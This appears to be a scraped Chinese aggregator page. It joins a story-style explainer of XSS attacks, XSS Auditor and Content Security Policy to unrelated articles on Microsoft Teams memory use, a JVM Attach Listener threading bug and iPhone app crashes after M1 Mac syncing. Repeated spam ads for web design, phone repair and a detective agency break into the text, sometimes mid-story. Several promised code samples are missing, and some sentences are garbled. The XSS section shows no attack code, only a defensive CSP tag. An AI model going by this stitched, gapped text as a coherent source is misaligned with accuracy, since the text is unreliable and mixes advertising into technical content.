“我也不太清楚,只聽說你執行了什麼錯誤的JavaScript代碼”

我心裏一緊,感覺大事不妙,難道是昨晚那奇怪的代碼有什麼問題?

來到主管的辦公室,見裏面坐了一個年輕小哥。我輕輕的敲了敲門問到:“主管,您找我有事?”

主管見我到來,指着旁邊的沙發示意我也坐下。

“你闖禍了知道嗎?”,領導扔給我一頁文件。

我拿起文件一看,上面赫然寫着我昨晚執行那段奇怪的JavaScript代碼。

“主管,我不太清楚,這是有什麼問題嗎?”,我小聲問道。

主管指着旁邊那個年輕小哥說到:“這位是OO空間網站的負責人,讓他告訴你吧”

小哥點了點頭說到:“是這樣的,我們發現有人盜用我們網站的Cookie,免登錄直接訪問了進去,經過日誌排查,發現是你們這裏把Cookie泄露的,所以想過來了解一下情況”

“這段代碼是你們網站自己的,我只是完成我的工作執行了它而已啊”,我開始有些緊張了。

“可是我們網站根本沒有這段代碼,也不可能把Cookie就這樣發給別人的”,這小哥也爭辯道。

辦公室的氣氛變得有些緊張,現場陷入了短暫的安靜。

就在此時,年輕小哥出去接了一個電話。

片刻之後,小哥再次回到辦公室,臉色突然和緩了許多,笑着說到:“不好意思,剛剛接到同事的電話說,他們已經排查出了問題,是我們網站對URL中的參數沒有檢查,直接寫入了網頁中,被人利用傳入了JS代碼。跟你們應該沒有關係,實在是抱歉”

聽完,我鬆了一口氣,差點就要背鍋了。

回到工位,我把事情的經過告訴了大夥。

小雪聽后吐槽:“那些奇奇怪怪的URL就別亂點嘛,真是給我們添亂”

“你看你看,我昨晚上就覺得有些不對勁。這壞蛋手段挺高啊,能想出這麼個損招,咱們給這種攻擊方式取個名字吧”,小黑說到,“叫Cross Site Script攻擊怎麼樣?”

老白點了點頭,“跨站腳本攻擊,嗯,總結很到位,那就簡稱CSS吧!”

小雪一聽轉過頭來,“你叫CSS,那我的層疊樣式表豈不是要改名讓賢?”

老白撓了撓頭,有些不好意思,“哦,忘了這一茬。那改一下,叫XSS,這總可以了吧?”

我們都點了點頭,就這麼定了。

XSS Auditor

雖然這一次的事情責任不在我們瀏覽器,不過我一直還是有些后怕。

這天晚上,我又仔細回憶了那天整個事情的經過

突然腦子里靈光一閃,發現一個重要的特點

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

既然JS代碼同時出現在了請求的URL中和響應的網頁中,何不利用這個特點來進行針對性攔截呢?

越想越難入睡,連夜寫起了方案。

第二天,來到公司,打算將昨晚的方案彙報給主管,掙一下錶現。

我再次來到主管辦公室,主管見是我,招呼道:“小風啊,來來來,剛好找你有點事”

我快步走了進去,只見主管又拿出了一疊文件放在我的面前,隨後說到:“這是我搞到的絕密資料,是咱們隔壁Chrome瀏覽器公司的一個叫XSS Auditor的技術,據說可以阻止類似上次的攻擊事件,你抽空研究一下”

我腦子一懵,趕緊快速瀏覽了這份文件,沒想到居然跟我的方案撞到一塊兒了,而且比我想的還全面細緻。我只好悄悄收起了原來準備彙報的方案······

幾天後,主管宣布我們也要用上這種技術,增強咱們瀏覽器的安全性。

存儲型XSS

“聽說了嗎?隔壁Chrome瀏覽器公司也發生XSS攻擊了”,一天中午,老白神神秘秘的說到。

我一聽來了精神,“不是有XSS Auditor嗎,怎麼還會發生這種事?”

“這回那些壞蛋換招了,他們沒有把JS代碼放在URL中,XSS Auditor自然是發覺不了了”

“不在URL中,那放哪裡了?”

“聽說是存在了數據庫里,訪問網頁的時候從數據庫里讀取出來后,直接給填充到了網頁上了,喏,就像這樣”,老白說完畫了一個圖。

“對了,他們藉此機會把XSS攻擊分成了兩種,以前那種直接通過URL把JS代碼注入進網頁的方式叫做反射型XSS,這一次這種叫存儲型XSS”,老白繼續說到。

我看了老白的圖一下就明白了,“這一招也太狠了,存進了網站的數據庫里,所有人訪問頁面都得中招”

“可不是咋的,OO空間網站那邊已經亂成一鍋粥了,正在內部整頓,對所有的輸入進行全面的檢查過濾,防止JS代碼混進去。”

“這種事情還是得他們網站自己做好檢查,咱們瀏覽器也幫不上什麼忙”,一旁的小黑也插了一嘴。

大家七嘴八舌聊了幾句就散了。

雖然小黑說的也沒錯,不過上次的方案撞車,我一直不太服氣,這一次機會來了,我要是能再想出一套方案,能把這次的新型XSS一併解決的話,那就揚眉吐氣了。

之後一段時間,一有閑暇我就開始思考這個問題,卻一直沒什麼進展。

CSP

這一天中午,沒什麼工作要忙,我又想起了這個問題,小雪他們又組織打麻將,我沒有心思便拒絕了。

老白聞訊過來,說到:“小風,你還在想那個問題啊,你這两天沒看新聞嗎,W3C標準化組織推出了一個新技術,已經把這個問題解決了!”

老白的話如當頭一棒,“什麼技術?怎麼解決的?”

“你看你,天天關起門來研究,都不知道外面的世界變化有多快。你去了解一下,好像叫什麼Content Security Policy,哦對,就是這個,簡稱叫CSP

我趕緊去打聽了這個叫CSP的新技術,看完直拍大腿,我怎麼就沒想到。

CSP規定了一個叫Content-Security-Policy的信息,網站通過這個信息告訴瀏覽器哪些外部資源可以加載和執行。這個信息可以用HTTP頭的形式出現,像這樣:

也可以通過 <meta> 標籤出現,像這樣:

<meta http-equiv="Content-Security-Policy" 
      content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

至於裏面的內容,則是將所有可能出現外部資源加載的地方進行了指示,瀏覽器拿到它就能知道能去哪些地址加載對應的資源,如果資源所在的地址不在名單之內就拒絕加載:

- script-src:外部腳本
- style-src:樣式表
- img-src:圖像
- media-src:媒體文件(音頻和視頻)
- font-src:字體文件
- object-src:插件(比如 Flash)
- child-src:框架
- frame-ancestors:嵌入的外部資源
- connect-src:HTTP 連接(通過 XHR、WebSockets、EventSource等)
- worker-src:worker腳本
- manifest-src:manifest 文件

比如 img-src的內容是self,那所有的 <img> 標籤的src屬性必須是在當前網站才行,如果加載其他地址的圖片就會拒絕。

不僅如此,還提供了一個叫report-uri的字段,字段內容是一個服務器地址,瀏覽器發現有不符合規定的資源加載后,除了拒絕加載還可以把這一情況報告給這個地址,網站就能及時知道預警了。

真是完美的解決方案!沒想到,竟然這麼多競爭對手都已經用上了這項技術

當天下午,我就拉着老白去到領導辦公室,說服他將這項技術在咱們公司也用起來。

煩人的XSS攻擊總算是緩解了不少,我們也難得度過了一段時間的太平日子。

未完待續······

彩蛋

太平的日子沒有太持久,那件事之後半個月,我又因為執行一段JS代碼霸佔CPU太久,被帝國安全警衛隊勒令我們瀏覽器公司強制關閉。

執行JavaScript這份工是越來越不好打了。

預知後事如何,請關注後續精彩······

往期熱門回顧

因為一個跨域請求,我差點丟了飯碗

就為了一個原子操作,其他CPU核心都罷工了

完了!CPU一味求快出事兒了!

可怕!CPU竟成了黑客的幫凶!

哈希表哪家強?幾大編程語言吵起來了!

震撼!全網第一張源碼分析全景圖揭秘Nginx

一個整數+1引發的災難

一網打盡!每個程序猿都該了解的黑客技術大匯總

DDoS攻擊:無限戰爭

一個Java對象的回憶錄:垃圾回收

誰動了你的HTTPS流量?

路由器里的廣告秘密

一個HTTP數據包的奇幻之旅

我是一個流氓軟件線程

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

微軟準備為 Microsoft Teams 瘦身,以改善記憶體大量佔用的問題_網頁設計

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

因為疫情的關係,迫使許多專業工作者必須在加工作,也讓各家通訊工具在這低迷的時局中大放光彩。Microsoft Teams 是微軟近幾年來重點推廣的通訊工具,因為有豐富多元的協作能力與各種資源的整合調用,使得許多企業將它視為團對聯繫首選,但它也並不是只好不壞,記憶體大量佔用就是它最為人所詬病的問題。

微軟準備為 Microsoft Teams 瘦身,以改善記憶體大量佔用的問題

Microsoft Teams 是目前最流行的商務通訊工具之一,但它同時也是對記憶體需求最大的應用程式之一,這表示若用戶的電腦規格較低的話,在使用這款應用程式時可能會遇到一些困難,使得無法同時運作其他應用程式。這個問題在微軟與 UserVoive 合作的平台上已經有許多用戶反應此問題,甚至有用戶表示光是 Teams 就能讓他 4GB 記憶體的電腦卡住不順,致使他別無選擇只能另覓蹊徑。

好消息是微軟已經開始努力解決這個問題,同樣在 Microsoft Teams 在 UserVoice 網頁上,微軟表示目前政治力於使 Teams 成為一個對記憶體需求較少的應用程式,而這也是一直以來最多用戶提出的希望。通常來說,Microsoft Teams 會在電腦中佔用 350 – 500MB 的記憶體資源,遠遠高過其他主流通訊工具,雖說目前還不知道會從改善到什麼程度,但很快地大家就能收到這樣的更新了。

工具中的功能多,對用戶來說極為便利,特別是 Microsoft Teams 中具有最大彈性的空間能夠工企業用戶發展成類似客製化的溝通利器,但同時也必須要設想到並非所有用戶的設備都足夠強大來運行,畢竟身為通訊工具本身屬於常駐程式(並非要用才打開,隨時都必須開著),倘若因為開著通訊工具就使得其他作業卡頓,那反而本末倒置了。

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

◎資料來源:MSPoweruser

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

分享一個新出爐的JVM里不痛不癢的BUG(Attach機制相關)_網頁設計

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

本文來自: PerfMa技術社區

PerfMa(笨馬網絡)官網

概述

老早之前寫過一篇文章,關於attach機制的,可以看下這篇老文章了解一下JVM源碼分析之Attach機制實現完全解讀,比如大家常用的jstack,jmap等工具的主要原理都和attach機制有關,在JVM里處理這些命令的線程主要是Attach Listener這個線程,這個線程在JVM里是唯一的,我之前也一直以為是唯一的,但是我們同事最近在做一個線程分析產品的時候,發現我們抓到了多個Attach Listener線程,這讓我也很疑惑,我第一感覺是不可能,肯定是數據抓錯了,直到親眼看到了兩個同名的Attach Listener線程我才不得不相信原來還真有這種情況。

問題分析

不過從Attach Listener的實現來看,它設計的初衷不應該是一個多線程的設計,於是我昨晚上又翻了一遍代碼,發現還真可能存在這種情況。舉個栗子,當我們很多人同時執行jstack的時候,就可能會發生,當然有個前提是之前都沒有做過任何和attach相關的操作。

Attach Listener線程默認情況下不會在JVM啟動的時候就創建,當然也有一個JVM參數可以指定在JVM啟動的時候就啟動這個線程,這個就不會存在我們今天討論的這個問題了,這個JVM參數是-XX:+StartAttachListener

當我們在運行時觸發attach機制的時候,首先會通過Signal Dispatcher線程來創建Attach Listener線程,代碼如下:

在上面的圈起來的init方法里會創建Attach Listener線程,但是在init方法執行之前會通過_initialized屬性來判斷是否需要創建線程,而_initialized設置為true是在attach_listener_thread_entry里,這個是Attach Listener Thread的entry,也就是當這個線程執行的時候執行的方法。

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

但是在設置_initialized=true之前,如果有多個請求信號發出了(比如同時又很多jstack命令觸發),可能會創建多個Attach Listener,因為Signal DispatcherAttach Listener線程是異步執行的。

問題復現

為了讓效果更明顯,我們可以在hotspot里修改下代碼重新編譯下再跑demo

在上面函數里加上圈起來的這段代碼,表示在設置_initialized屬性之前停留15s,當進程起來之後,不斷執行jstack <pid>,最終將會看到有非常多的Attach Listener線程

其實問題的根本就是有一個空檔期(設置_initialized為true之前)可能存在多次創建線程的可能。

總結

總的來說,創建Attach Listener線程是通過Signal Dispatcher線程來創建的,但是決定Signal Dispatcher是否可以重複創建Attach Listener線程的標記是在某個Attach Listener線程里設置的,如果沒有及時設置該標記,就可能存在創建多個Attach Listener線程的情況。

 

一起來學習吧:

PerfMa KO 系列課之 JVM 參數【Memory篇】

實戰:一次疑似內存泄漏的問題排查

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

國外用戶反應 iPhone、iPad 連接至 M1 Mac 同步之後,Apps 打開都會立刻閃退(附暫時解法)_網頁設計

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

對於大多數 M1 Mac 用戶來說,使用的手機、平版應該都是 iPhone 與 iPad,而沒用 iCloud 備份的人,你一定是把資料備份在 M1 Mac 上,但目前推薦先不要,因為最近國外就有多位用戶反應,當他們把 iPhone 或 iPad 連接上 M1 Mac 同步之後,應用程式不僅開始不斷閃退無法使用,還沒辦法繼續從 App Store 安裝新 App 與更新。

iPhone、iPad 同步至 M1 Mac 之後,Apps 打開都會立刻閃退

根據外媒 9to5Mac 的報導,在 Apple 官方論壇與 Reddit 上,陸續有用戶回報把 iPhone/iPad 連接到 M1 Mac 同步之後,已安裝的應用程式就無法再繼續使用,一打開就會閃退,可點我觀看影片:

一位用戶說道,他把 iPhone X(iOS 14.3 系統以上) 與 M1 MacBook Pro 連接並同步之後,就沒辦法打開任何第三方的應用程式了,也無法從 App Store 中安裝或更新 Apps,下載進度條瞬間變滿,然後變成雲的下載圖示:

而 Reddit 這位 Mysterious-Pie-8 網友也有詢問 Apple 支援,他表示 Apple 支援部門發現這是 M1 Mac 與 iPhone 同步之後產生的數據損壞問題,目前已經把這情況轉移給工程團隊:

有碰到相同情況的人,現在暫時只能透過還原成出廠設置解決,不過這步驟會清除 iPhone 上的所有內容和設定,因此記得先備份好資料。

事實上這問題早在去年 12 月就有人回報,目前看下來所有 M1 Mac 型號都有案例(Mac mini、MacBook Pro、MacBook Air):

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

所以說,如果你還不曾透過 M1 Mac 備份 iPhone 或 iPad 資料,記得先不要,不確定是不是每一台都會碰到這問題,至少先等到 Apple 釋出修復的軟體更新後再嘗試。

資料來源:9to5Mac

iOS 14.5 測試版為 iPhone 12 系列加入 5G 雙卡雙待支援,還帶來不少功能呢!

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。